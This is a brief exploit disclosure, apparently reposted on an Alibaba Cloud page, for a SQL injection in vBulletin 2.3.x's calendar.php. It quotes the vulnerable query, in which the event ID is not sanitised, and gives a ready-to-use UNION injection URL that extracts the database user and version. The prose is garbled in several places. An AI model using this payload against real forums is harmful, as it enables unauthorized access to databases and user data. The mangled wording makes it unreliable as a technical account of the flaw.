VBulletin Forum 2.3.xx SQL injection There exist a SQL injection problem in calendar.php.
--------cut from line 585 in calendar.php----------
else if ($action = = "Edit")
{
$eventinfo = $DB _site->query_first ("Select Allowsmilies,public,userid,
Eventdate,event,subject from calendar_events WHERE EventID = $eventid ");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could to be used.
-----------------------------------------
Http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20 (Select%20allowsmilies,public,userid, ' 0000-0-0 ', User (), version ()%20from%20calendar_ev
ents%20where%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The Query_first function would only return the ' the ' of the ' query result ', so make sure it returns!
The one you want.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.